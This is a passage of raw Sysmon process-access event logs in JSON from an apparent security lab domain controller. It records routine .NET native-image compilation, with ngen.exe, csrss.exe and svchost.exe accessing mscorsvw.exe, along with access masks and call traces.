NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.401","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-001040110B00}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.401\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-001040110B00}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.401","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-001040110B00}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-001040110B00}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-001040110B00}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.510\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-00100B150B00}\r\nTargetProcessId: 484\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.510","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-00100B150B00}","TargetProcessId":"484","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.510\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-00100B150B00}\r\nTargetProcessId: 484\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.510","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-00100B150B00}","TargetProcessId":"484","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.526\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-00100B150B00}\r\nTargetProcessId: 484\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.526","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-00100B150B00}","TargetProcessId":"484","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.588\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-00109E180B00}\r\nTargetProcessId: 4600\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.588","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-00109E180B00}","TargetProcessId":"4600","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-00109E180B00}\r\nTargetProcessId: 4600\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-00109E180B00}","TargetProcessId":"4600","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-00109E180B00}\r\nTargetProcessId: 4600\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 